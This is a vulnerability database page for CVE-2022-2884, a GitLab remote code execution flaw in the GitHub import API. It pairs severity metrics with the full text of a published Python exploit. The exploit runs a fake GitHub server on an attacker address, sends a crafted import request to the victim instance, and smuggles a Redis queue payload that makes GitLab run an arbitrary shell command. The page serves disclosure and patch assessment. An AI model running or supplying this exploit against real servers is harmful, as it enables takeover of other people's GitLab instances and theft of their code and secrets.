CVE-2022-2884 : Detail

CVE-2022-2884

9.9
/
Critical
OS Command Injection
A03-Injection
2.87%V3
Network
2022-10-16
22h00 +00:00
2024-08-03
00h53 +00:00
CVE.org
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CVE Descriptions

A vulnerability in GitLab CE/EE affecting all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 15.3 to 15.3 to 15.3.1 allows an an authenticated user to achieve remote code execution via the Import from GitHub API endpoint

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.9 CRITICAL CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51181

Publication date : 2023-03-31 22h00 +00:00
Author : Antonio Francesco Sardella
EDB Verified : Yes

# Exploit Title: GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-12-25 # Exploit Author: Antonio Francesco Sardella # Vendor Homepage: https://about.gitlab.com/ # Software Link: https://about.gitlab.com/install/ # Version: GitLab CE/EE, all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 15.3 to 15.3.1 # Tested on: 'gitlab/gitlab-ce:15.3.0-ce.0' Docker container (vulnerable application), 'Ubuntu 20.04.5 LTS' with 'Python 3.8.10' (script execution) # CVE: CVE-2022-2884 # Category: WebApps # Repository: https://github.com/m3ssap0/gitlab_rce_cve-2022-2884 # Credits: yvvdwf (https://hackerone.com/reports/1672388) # This is a Python3 program that exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884. # A vulnerability in GitLab CE/EE affecting all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, # 15.3 to 15.3.1 allows an authenticated user to achieve remote code execution # via the Import from GitHub API endpoint. # https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/ # DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments. # Please use this tool responsibly. I do not take responsibility for the way in which any one uses # this application. I am NOT responsible for any damages caused or any crimes committed by using this tool. import argparse import logging import validators import random import string import requests import time import base64 import sys from flask import Flask, current_app, request from multiprocessing import Process VERSION = "v1.0 (2022-12-25)" DEFAULT_LOGGING_LEVEL = logging.INFO app = Flask(__name__) def parse_arguments(): parser = argparse.ArgumentParser( description=f"Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - {VERSION}" ) parser.add_argument("-u", "--url", required=True, help="URL of the victim GitLab") parser.add_argument("-pt", "--private-token", required=True, help="private token of GitLab") parser.add_argument("-tn", "--target-namespace", required=False, default="root", help="target namespace of GitLab (default is 'root')") parser.add_argument("-a", "--address", required=True, help="IP address of the attacker machine") parser.add_argument("-p", "--port", required=False, type=int, default=1337, help="TCP port of the attacker machine (default is 1337)") parser.add_argument("-s", "--https", action="store_true", required=False, default=False, help="set if the attacker machine is exposed via HTTPS") parser.add_argument("-c", "--command", required=True, help="the command to execute") parser.add_argument("-d", "--delay", type=float, required=False, help="seconds of delay to wait for the exploit to complete") parser.add_argument("-v", "--verbose", action="store_true", required=False, default=False, help="verbose mode") return parser.parse_args() def validate_input(args): try: validators.url(args.url) except validators.ValidationFailure: raise ValueError("Invalid target URL!") if len(args.private_token.strip()) < 1 and not args.private_token.strip().startswith("glpat-"): raise ValueError("Invalid GitLab private token!") if len(args.target_namespace.strip()) < 1: raise ValueError("Invalid GitLab target namespace!") try: validators.ipv4(args.address) except validators.ValidationFailure: raise ValueError("Invalid attacker IP address!") if args.port < 1 or args.port > 65535: raise ValueError("Invalid attacker TCP port!") if len(args.command.strip()) < 1: raise ValueError("Invalid command!") if args.delay is not None and args.delay <= 0.0: raise ValueError("Invalid delay!") def generate_random_string(length): letters = string.ascii_lowercase + string.ascii_uppercase + string.digits return ''.join(random.choice(letters) for i in range(length)) def generate_random_lowercase_string(length): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(length)) def generate_random_number(length): letters = string.digits result = "0" while result.startswith("0"): result = ''.join(random.choice(letters) for i in range(length)) return result def base64encode(to_encode): return base64.b64encode(to_encode.encode("ascii")).decode("ascii") def send_request(url, private_token, target_namespace, address, port, is_https, fake_repo_id): logging.info("Sending request to target GitLab.") protocol = "http" if is_https: protocol += "s" headers = { "Content-Type": "application/json", "PRIVATE-TOKEN": private_token, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" } fake_personal_access_token = "ghp_" + generate_random_string(36) new_name = generate_random_lowercase_string(8) logging.debug("Random generated parameters of the request:") logging.debug(f" fake_repo_id = {fake_repo_id}") logging.debug(f"fake_personal_access_token = {fake_personal_access_token}") logging.debug(f" new_name = {new_name}") payload = { "personal_access_token": fake_personal_access_token, "repo_id": fake_repo_id, "target_namespace": target_namespace, "new_name": new_name, "github_hostname": f"{protocol}://{address}:{port}" } target_endpoint = f"{url}" if not target_endpoint.endswith("/"): target_endpoint = f"{target_endpoint}/" target_endpoint = f"{target_endpoint}api/v4/import/github" try: r = requests.post(target_endpoint, headers=headers, json=payload) logging.debug("Response:") logging.debug(f"status_code = {r.status_code}") logging.debug(f" text = {r.text}") logging.info(f"Request sent to target GitLab (HTTP {r.status_code}).") if r.status_code != 201: logging.fatal("Wrong response received from the target GitLab.") logging.debug(f" text = {r.text}") raise Exception("Wrong response received from the target GitLab.") except: logging.fatal("Error in contacting the target GitLab.") raise Exception("Error in contacting the target GitLab.") def is_server_alive(address, port, is_https): protocol = "http" if is_https: protocol += "s" try: r = requests.get(f"{protocol}://{address}:{port}/") if r.status_code == 200 and "The server is running." in r.text: return True else: return False except: return False def start_fake_github_server(address, port, is_https, command, fake_repo_id): app.config["address"] = address app.config["port"] = port protocol = "http" if is_https: protocol += "s" app.config["attacker_server"] = f"{protocol}://{address}:{port}" app.config["command"] = command app.config["fake_user"] = generate_random_lowercase_string(8) app.config["fake_user_id"] = generate_random_number(8) app.config["fake_repo"] = generate_random_lowercase_string(8) app.config["fake_repo_id"] = fake_repo_id app.config["fake_issue_id"] = generate_random_number(9) app.run("0.0.0.0", port) def encode_command(command): encoded_command = "" for c in command: encoded_command += ("<< " + str(ord(c)) + ".chr ") encoded_command += "<<" logging.debug(f"encoded_command = {encoded_command}") return encoded_command def generate_rce_payload(command): logging.debug("Crafting RCE payload:") logging.debug(f" command = {command}") encoded_command = encode_command(command) # Useful in order to prevent escaping hell... rce_payload = f"lpush resque:gitlab:queue:system_hook_push \"{{\\\"class\\\":\\\"PagesWorker\\\",\\\"args\\\":[\\\"class_eval\\\",\\\"IO.read('| ' {encoded_command} ' ')\\\"], \\\"queue\\\":\\\"system_hook_push\\\"}}\"" logging.debug(f" rce_payload = {rce_payload}") return rce_payload def generate_user_response(attacker_server, fake_user, fake_user_id): response = { "avatar_url": f"{attacker_server}/avatars/{fake_user_id}", "events_url": f"{attacker_server}/users/{fake_user}/events{{/privacy}}", "followers_url": f"{attacker_server}/users/{fake_user}/followers", "following_url": f"{attacker_server}/users/{fake_user}/following{{/other_user}}", "gists_url": f"{attacker_server}/users/{fake_user}/gists{{/gist_id}}", "gravatar_id": "", "html_url": f"{attacker_server}/{fake_user}", "id": int(fake_user_id), "login": f"{fake_user}", "node_id": base64encode(f"04:User{fake_user_id}"), "organizations_url": f"{attacker_server}/users/{fake_user}/orgs", "received_events_url": f"{attacker_server}/users/{fake_user}/received_events", "repos_url": f"{attacker_server}/users/{fake_user}/repos", "site_admin": False, "starred_url": f"{attacker_server}/users/{fake_user}/starred{{/owner}}{{/repo}}", "subscriptions_url": f"{attacker_server}/users/{fake_user}/subscriptions", "type": "User", "url": f"{attacker_server}/users/{fake_user}" } return response def generate_user_full_response(attacker_server, fake_user, fake_user_id): partial = generate_user_response(attacker_server, fake_user, fake_user_id) others = { "bio": None, "blog": "", "company": None, "created_at": "2020-08-21T14:35:46Z", "email": None, "followers": 2, "following": 0, "hireable": None, "location": None, "name": None, "public_gists": 0, "public_repos": 0, "twitter_username": None, "updated_at": "2022-08-08T12:11:40Z", } response = {**partial, **others} return response def generate_repo_response(address, port, attacker_server, fake_user, fake_user_id, fake_repo, repo_id): response = { "allow_auto_merge": False, "allow_forking": True, "allow_merge_commit": True, "allow_rebase_merge": True, "allow_squash_merge": True, "allow_update_branch": False, "archive_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/{{archive_format}}{{/ref}}", "archived": False, "assignees_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/assignees{{/user}}", "blobs_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/blobs{{/sha}}", "branches_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/branches{{/branch}}", "clone_url": f"{attacker_server}/{fake_user}/{fake_repo}.git", "collaborators_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/collaborators{{/collaborator}}", "comments_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/comments{{/number}}", "commits_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/commits{{/sha}}", "compare_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/compare/{{base}}...{{head}}", "contents_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/contents/{{+path}}", "contributors_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/contributors", "created_at": "2021-04-09T13:55:55Z", "default_branch": "main", "delete_branch_on_merge": False, "deployments_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/deployments", "description": None, "disabled": False, "downloads_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/downloads", "events_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/events", "fork": False, "forks": 1, "forks_count": 1, "forks_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/forks", "full_name": f"{fake_user}/{fake_repo}", "git_commits_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/commits{{/sha}}", "git_refs_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/refs{{/sha}}", "git_tags_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/tags{{/sha}}", "git_url": f"git://{address}:{port}/{fake_user}/{fake_repo}.git", "has_downloads": True, "has_issues": True, "has_pages": False, "has_projects": True, "has_wiki": True, "homepage": None, "hooks_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/hooks", "html_url": f"{attacker_server}/{fake_user}/{fake_repo}", "id": int(repo_id), "is_template": False, "issue_comment_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/comments{{/number}}", "issue_events_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/events{{/number}}", "issues_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues{{/number}}", "keys_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/keys{{/key_id}}", "labels_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/labels{{/name}}", "language": "Python", "languages_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/languages", "license": None, "merge_commit_message": "Message", "merge_commit_title": "Title", "merges_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/merges", "milestones_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/milestones{{/number}}", "mirror_url": None, "name": f"{fake_repo}", "network_count": 1, "node_id": base64encode(f"010:Repository{repo_id}"), "notifications_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/notifications{{?since,all,participating}}", "open_issues": 4, "open_issues_count": 4, "owner": generate_user_response(attacker_server, fake_user, fake_user_id), "permissions": { "admin": True, "maintain": True, "pull": True, "push": True, "triage": True }, "private": True, "pulls_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/pulls{{/number}}", "pushed_at": "2022-08-14T15:36:21Z", "releases_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/releases{{/id}}", "size": 3802, "squash_merge_commit_message": "Message", "squash_merge_commit_title": "Title", "ssh_url": f"git@{address}:{fake_user}/{fake_repo}.git", "stargazers_count": 0, "stargazers_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/stargazers", "statuses_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/statuses/{{sha}}", "subscribers_count": 1, "subscribers_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/subscribers", "subscription_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/subscription", "svn_url": f"{attacker_server}/{fake_user}/{fake_repo}", "tags_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/tags", "teams_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/teams", "temp_clone_token": generate_random_string(32), "topics": [], "trees_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/trees{{/sha}}", "updated_at": "2022-06-10T15:12:53Z", "url": f"{attacker_server}/repos/{fake_user}/{fake_repo}", "use_squash_pr_title_as_default": False, "visibility": "private", "watchers": 0, "watchers_count": 0, "web_commit_signoff_required": False } return response def generate_issue_response(attacker_server, fake_user, fake_user_id, fake_repo, fake_issue_id, command): rce_payload = generate_rce_payload(command) response = [ { "active_lock_reason": None, "assignee": None, "assignees": [], "author_association": "OWNER", "body": "hn-issue description", "closed_at": None, "comments": 1, "comments_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/comments", "created_at": "2021-07-23T13:16:55Z", "events_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/events", "html_url": f"{attacker_server}/{fake_user}/{fake_repo}/issues/3", "id": int(fake_issue_id), "labels": [], "labels_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/labels{{/name}}", "locked": False, "milestone": None, "node_id": base64encode(f"05:Issue{fake_issue_id}"), "_number": 1, "number": {"to_s": {"bytesize": 2, "to_s": f"1234{rce_payload}" }}, "performed_via_github_app": None, "reactions": { "+1": 0, "-1": 0, "confused": 0, "eyes": 0, "heart": 0, "hooray": 0, "laugh": 0, "rocket": 0, "total_count": 0, "url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/reactions" }, "repository_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/test", "state": "open", "state_reason": None, "timeline_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/timeline", "title": f"{fake_repo}", "updated_at": "2022-08-14T15:37:08Z", "url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3", "user": generate_user_response(attacker_server, fake_user, fake_user_id) } ] return response @app.before_request def received_request(): logging.debug(f"Received request:") logging.debug(f" url = {request.url}") logging.debug(f"headers = {request.headers}") @app.after_request def add_headers(response): response.headers["content-type"] = "application/json; charset=utf-8" response.headers["x-ratelimit-limit"] = "5000" response.headers["x-ratelimit-remaining"] = "4991" response.headers["x-ratelimit-reset"] = "1660136749" response.headers["x-ratelimit-used"] = "9" response.headers["x-ratelimit-resource"] = "core" return response @app.route("/") def index(): return "The server is running." @app.route("/api/v3/rate_limit") def api_rate_limit(): response = { "resources": { "core": { "limit": 5000, "used": 9, "remaining": 4991, "reset": 1660136749 }, "search": { "limit": 30, "used": 0, "remaining": 30, "reset": 1660133589 }, "graphql": { "limit": 5000, "used": 0, "remaining": 5000, "reset": 1660137129 }, "integration_manifest": { "limit": 5000, "used": 0, "remaining": 5000, "reset": 1660137129 }, "source_import": { "limit": 100, "used": 0, "remaining": 100, "reset": 1660133589 }, "code_scanning_upload": { "limit": 1000, "used": 0, "remaining": 1000, "reset": 1660137129 }, "actions_runner_registration": { "limit": 10000, "used": 0, "remaining": 10000, "reset": 1660137129 }, "scim": { "limit": 15000, "used": 0, "remaining": 15000, "reset": 1660137129 }, "dependency_snapshots": { "limit": 100, "used": 0, "remaining": 100, "reset": 1660133589 } }, "rate": { "limit": 5000, "used": 9, "remaining": 4991, "reset": 1660136749 } } return response @app.route("/api/v3/repositories/<repo_id>") @app.route("/repositories/<repo_id>") def api_repositories_repo_id(repo_id: int): address = current_app.config["address"] port = current_app.config["port"] attacker_server = current_app.config["attacker_server"] fake_user = current_app.config["fake_user"] fake_user_id = current_app.config["fake_user_id"] fake_repo = current_app.config["fake_repo"] response = generate_repo_response(address, port, attacker_server, fake_user, fake_user_id, fake_repo, repo_id) return response @app.route("/api/v3/repos/<user>/<repo>") def api_repositories_repo_user_repo(user: string, repo: string): address = current_app.config["address"] port = current_app.config["port"] attacker_server = current_app.config["attacker_server"] fake_user_id = current_app.config["fake_user_id"] fake_repo_id = current_app.config["fake_repo_id"] response = generate_repo_response(address, port, attacker_server, user, fake_user_id, repo, fake_repo_id) return response @app.route("/api/v3/repos/<user>/<repo>/issues") def api_repositories_repo_user_repo_issues(user: string, repo: string): attacker_server = current_app.config["attacker_server"] fake_user_id = current_app.config["fake_user_id"] fake_issue_id = current_app.config["fake_issue_id"] command = current_app.config["command"] response = generate_issue_response(attacker_server, user, fake_user_id, repo, fake_issue_id, command) return response @app.route("/api/v3/users/<user>") def api_users_user(user: string): attacker_server = current_app.config["attacker_server"] fake_user_id = current_app.config["fake_user_id"] response = generate_user_full_response(attacker_server, user, fake_user_id) return response @app.route("/<user>/<repo>.git/HEAD") @app.route("/<user>/<repo>.git/info/refs") @app.route("/<user>/<repo>.wiki.git/HEAD") @app.route("/<user>/<repo>.wiki.git/info/refs") def empty_response(user: string, repo: string): logging.debug("Empty string response.") return "" # All the others/non-existing routes. @app.route('/<path:path>') def catch_all(path): logging.debug("Empty JSON array response.") return [] def main(): args = parse_arguments() logging_level = DEFAULT_LOGGING_LEVEL if args.verbose: logging_level = logging.DEBUG logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s") validate_input(args) url = args.url.strip() private_token = args.private_token.strip() target_namespace = args.target_namespace.strip() address = args.address.strip() port = args.port is_https = args.https command = args.command.strip() delay = args.delay logging.info(f"Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - {VERSION}") logging.debug("Parameters:") logging.debug(f" url = {url}") logging.debug(f" private_token = {private_token}") logging.debug(f"target_namespace = {target_namespace}") logging.debug(f" address = {address}") logging.debug(f" port = {port}") logging.debug(f" is_https = {is_https}") logging.debug(f" command = {command}") logging.debug(f" delay = {delay}") fake_repo_id = generate_random_number(9) fake_github_server = Process(target=start_fake_github_server, args=(address, port, is_https, command, fake_repo_id)) fake_github_server.start() logging.info("Waiting for the fake GitHub server to start.") while not is_server_alive(address, port, is_https): time.sleep(1) logging.debug("Waiting for the fake GitHub server to start.") logging.info("Fake GitHub server is running.") try: send_request(url, private_token, target_namespace, address, port, is_https, fake_repo_id) except: logging.critical("Aborting the script.") fake_github_server.kill() sys.exit(1) if delay is not None: logging.info(f"Waiting for {delay} seconds to let attack finish.") time.sleep(delay) else: logging.info("Press Enter when the attack is finished.") input() logging.debug("Stopping the fake GitHub server.") fake_github_server.kill() logging.info("Closing the script.") if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Gitlab>>Gitlab >> Version From (including) 11.3.4 To (excluding) 15.1.5

Gitlab>>Gitlab >> Version From (including) 11.3.4 To (excluding) 15.1.5

Gitlab>>Gitlab >> Version From (including) 15.2 To (excluding) 15.2.3

Gitlab>>Gitlab >> Version From (including) 15.2 To (excluding) 15.2.3

Gitlab>>Gitlab >> Version From (including) 15.3 To (excluding) 15.3.1

Gitlab>>Gitlab >> Version From (including) 15.3 To (excluding) 15.3.1

References

https://hackerone.com/reports/1672388
Tags : Permissions Required, Third Party Advisory